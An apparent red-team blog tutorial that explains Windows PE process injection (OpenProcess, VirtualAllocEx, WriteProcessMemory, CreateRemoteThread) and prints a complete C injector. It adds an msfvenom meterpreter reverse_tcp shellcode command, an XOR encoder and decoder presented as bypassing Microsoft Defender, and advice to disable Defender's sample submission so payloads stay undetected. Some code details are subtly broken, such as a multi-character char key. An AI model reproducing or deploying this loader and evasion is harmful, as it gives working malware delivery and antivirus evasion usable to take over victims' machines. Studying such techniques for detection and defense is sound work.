Process Injection Series Part I: PE Injection

Showcase of MITRE Technique T1055.002 with a working example

Echo_Slow
InfoSec Write-ups

--

While the job of the Red Team is to train the Blue Team, there is something addictive in the constant cat-and-mouse game of developing payloads that bypass detection. This series will cover these techniques with progressing complexity — from WinAPIs to (in)direct syscalls.

*DISCLAIMER*

Methods and code shown in this series are solely to be used as learning examples. I take no responsibility for the misuse of the methods and code shown.

What is Process injection? What is a “process”?

As this is the first entry in the series, it would be fit to explain these things. Further entries will assume you have read this, or have previous knowledge of process injection.

From Microsoft: A process, in the simplest terms, is an executing program. Further, a process consists of the following:

  • private virtual address space
  • executable program
  • list of open handles
  • security context
  • process ID
  • and at least one thread.

While a detailed explanation of the aforementioned parts exists, it’s beyond the scope of this blog. If you want to learn more about this topic, the Windows Internals books are great.

Process injection on the other hand is the injection of malicious code into a non-malicious process, thereby achieving stealthy infection of a system. Depending on the technique used, there are multiple ways of achieving process injection. The technique discussed in this post achieves process injection via the following mechanisms:

  • It opens a handle to the victim process via the WinAPI OpenProcess function
  • It allocates the memory inside the victim process via VirtualAllocEx
  • After allocating, it writes the payload (shellcode) to the location via WriteProcessMemory
  • Finally, it starts the execution of the shellcode with a new thread created via CreateRemoteThread
Source of the gif: https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Creating the example

Since we are using WinAPIs to achieve process injection, most of the work is done with the inclusion of the windows.h header file which contains the above-mentioned functions.

The full code will be available on my GitHub. The below snippet shows the core of the injection.


int pid = atoi(argv[1]);
HANDLE hProcess, hRemoteThread = nullptr;
void* pBuffer = nullptr;

printf("[*]Opening handle to process\n");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if (!hProcess)
return Error("Failed in opening handle to process");

printf("[*]Allocating memory inside target process\n");
pBuffer = VirtualAllocEx(hProcess, nullptr, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pBuffer)
return Error("Failed in VirtualAllocEx");

printf("[*]Writing shellcode inside target process\n");
if (!WriteProcessMemory(hProcess, pBuffer, code, sizeof(code), nullptr)) {
return Error("Failed in WriteProcessMemory");
}

printf("[*]Executing shellcode, check for shell\n");
hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pBuffer, NULL, 0, NULL);
if (!hRemoteThread)
return Error("Failed to create thread");

Quick note, if you want to learn more about these functions, you can visit the MSDN webpage of the function.

First of all, we open a handle to the victim process via OpenProcess. OpenProcess requires 3 arguments:

  • Desired access to the process
  • Inherit value
  • PID of the target process

In this case, we request full access to the process via PROCESS_ALL_ACCESS (not really necessary), set the inherit value to 0, and finally set the PID to the argument passed via the CLI.
Since this can fail, especially due to the permissions we are asking for, we check the return value of OpenProcess, which returns NULL if it fails. We handle that case with the custom Error function.

If a handle is created, we move to the next part which is the allocation of memory. VirtualAllocEx requires 5 arguments:

  • Handle to a process
  • Pointer to a starting address (optional)
  • The size of memory to allocate
  • What type of memory to reserve
  • The memory protection of the allocated region

In our case, we pass in the value returned from OpenProcess as our first argument. We set the starting address to nullptr, and the size of the memory to allocate is the size of our shellcode. For the fourth parameter, we have to reserve the memory and commit it, luckily MSDN provides the following: To reserve and commit pages in one step, call VirtualAllocEx with MEM_COMMIT | MEM_RESERVE. Finally, we set the memory protection to RWX (this is a big red flag).

The return value on success is a pointer to the base of the memory address, we need to save that as it’s used in WriteProcessMemory.

WriteProcessMemory takes also 5 arguments:

  • Handle to a process
  • Pointer to the base of the memory to write to
  • Pointer to the buffer containing the data to be written
  • Number of bytes to be written
  • A pointer to a variable that receives the number of bytes written (optional)

As the first argument we supply the handle to the process opened in step 1, the second argument is the pointer returned from VirtualAllocEx, and the third argument is a pointer to the shellcode. In my case, the shellcode is stored in a variable with the type of unsigned char[] which is an array, arrays are passed as a pointer to the first object. Further, we need to tell the function how many bytes we want to write, in this case, it’s the size of our shellcode, and as the final argument we use a nullptr.

Once the shellcode is written, we have to somehow execute it. For that, we can use a thread. I’ve already pointed out that each process has a thread, but a thread in the simplest terms is an execution context that has everything a processor needs to execute instructions (shellcode). We use CreateRemoteThread to create a new thread in a remote process.

CreateRemoteThread takes 7 arguments:

  • A handle to the process
  • A pointer to a SECURITY_ATRIBUT, if NULL uses the default security descriptor
  • Initial size of the stack, if 0 uses the default size of the executable
  • A pointer to the starting point of the thread in the remote process
  • A pointer to the arguments to be passed to the thread function
  • A value that controls the state of the created thread
  • Pointer to a variable that receives the thread identifier

As always the handle to the process is the one we opened at the start, we use NULL for the security attribute and 0 for the third argument. The pointer to the starting point of our thread is the value returned by VirtualAllocEx, we only need to cast the value to LPTHREAD_START_ROUTINE, the rest of the arguments can be NULL.
As with all the functions, this can also fail and you should handle such a case.

This covers the technique, but I have left out the most important part. The shellcode.

Generating the shellcode

DON’T USE SHELLCODE FROM THE INTERNET

We will use shellcode generated via msfvenom. For test purposes, you can use the message box payload, but I’ll showcase the meterpreter payload. The thing is, whatever shellcode you generate, Defender will flag it since msfvenom is heavily fingerprinted.

Shellcode without obfuscation is caught.

This is also a good moment to point out that if you are doing this on a Windows machine, consider turning off Automatic Sample Submission and Cloud-delivered protection. We don’t want our payloads to be rendered useless with the next Defender update…

Settings to turn off.

How do we get our shellcode by Defender? Well, it’s simple really. We can use an XOR operation on our shellcode.

First, we generate the shellcode with:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$IP LPORT=$PORT -f c

This will output a bunch of hex values that represent assembly commands. We need to take that shellcode and create a script that will iterate through it and XOR it against a key. The XOR encryption script is shown below:

#include <stdio.h>

int main()
{
unsigned char code[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\...";

char key = 'ABCD';
int i = 0;
for (i; i < sizeof(code); i++)
{
printf("\\x%02x", code[i] ^ key);
}

I’ve gotten the script from this Redops article. The script will also output a bunch of hex values.

We take those hex values and put them inside our injector, while also adding a decoder inside our process injector:

 char key = 'ABCD';
int i = 0;
for (i; i < sizeof(code) - 1; i++)
{
code[i] = code[i] ^ key;
}

With such a simple addition we now bypass Defender. The full code of the injector is below.

#include <windows.h>
#include <stdio.h>


int Error(const char* msg) {
printf("%s (%u)\n", msg, GetLastError);
return 1;
}

int main(int argc, char *argv[]) {

int pid = atoi(argv[1]);

HANDLE hProcess, hRemoteThread = nullptr;
void* pBuffer = nullptr;

unsigned char code[] = "xor'ed_shellcode";

char key = 'ABCD';
int i = 0;
for (i; i < sizeof(code) - 1; i++)
{
code[i] = code[i] ^ key;
}

printf("[*]Opening handle to process\n");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if (!hProcess)
return Error("Failed in opening handle to process");

printf("[*]Allocating memory inside target process\n");
pBuffer = VirtualAllocEx(hProcess, nullptr, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pBuffer)
return Error("Failed in VirtualAllocEx");

printf("[*]Writing shellcode inside target process\n");
if (!WriteProcessMemory(hProcess, pBuffer, code, sizeof(code), nullptr)) {
return Error("Failed in WriteProcessMemory");
}

printf("[*]Executing shellcode, check for shell\n");
hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pBuffer, NULL, 0, NULL);
if (!hRemoteThread)
return Error("Failed to create thread");

CloseHandle(hRemoteThread);
CloseHandle(hProcess);

return 0;
}

The script requires that we pass the PID of the target process manually.

Demo

Next steps

There are multiple improvements possible. Here’s a non-exhaustive list:

  • Find a way to obtain a victim PID automatically
  • Reduce the permissions requested in OpenProcesssy
  • Don’t allocate RWX memory
  • Use the underlying functions called by the WinAPIs
  • Add sandbox evasion

I will keep updating the project on my GitHub and add new things as I get time.

Conclusion

This post highlights the simplicity of creating malicious projects that could be used to infect victims. The example, while being able to bypass Defender, will most likely be detected by any EDR. If you have any questions or additional information, feel free to leave a comment, I’ll try to get back ASAP :).

--

--

Infosec person, writing all about cyber security. Specializing in writeups of boxes from HTB and THM, CVE deep dives, as well as Red Team tradecraft